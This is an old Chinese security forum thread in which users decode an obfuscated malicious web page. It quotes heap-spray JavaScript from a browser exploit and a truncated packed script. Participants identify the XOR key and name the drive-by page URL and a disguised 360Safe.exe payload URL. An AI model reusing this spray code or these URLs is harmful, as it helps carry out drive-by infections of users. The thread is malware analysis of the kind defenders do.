请解一下这个代码

fsl

<script language="javascript">  function sleep(KIZS1) {var qQI_QKE2 = new window["Date"]()["getTime"](); for (var rrBravDu3 = 0; rrBravDu3 < 1e7; rrBravDu3++) { if ((new window["Date"]()["getTime"]() - qQI_QKE2) > KIZS1){      break;    }}} function spray(ueH4) {  var Ki5 = 0x0a0a0a0a;  var AmqoX6=window["unescape"];  var Ozy7 = AmqoX6(ueH4);  var bDMp_v8 = 0x100000;  var seMDauV9 = Ozy7["length"] * 2;  var T10 = bDMp_v8 -(seMDauV9+0x038);  var Hoo$TKIu11 = AmqoX6("

");  Hoo$TKIu11 = getSampleValue(Hoo$TKIu11,T10);    aaablk = (Ki5 - 0x100000)/bDMp_v8;    zzchuck = new window["Array"]();    for (i=0;i<aaablk;i++)  {       zzchuck = Hoo$TKIu11 + Ozy7;  } }   function getSampleValue(YOTs12, cRMZ13) {   while(YOTs12["length"]*2<cRMZ13)  {         YOTs12 += YOTs12;  }    YOTs12 = YOTs12["substring"](0,cRMZ13/2);  return YOTs12; }  </script>   <script>alert(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c
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fsl

麻烦高手告诉我怎么解的

qianwenxiang

网马源地址是什么? 可以试一下xor 21h或者xor 0，生成器的话这两种key挺常见

fsl

http://riri.8866.org/123.htm

qianwenxiang

xor key=21H (33D)
http://121.2006wyt.com/360Safe.exe
调试也可获得此地址

dikex

回过神来，原来以及搞定了……

[ 本帖最后由 dikex 于 2008-12-30 19:02 编辑 ]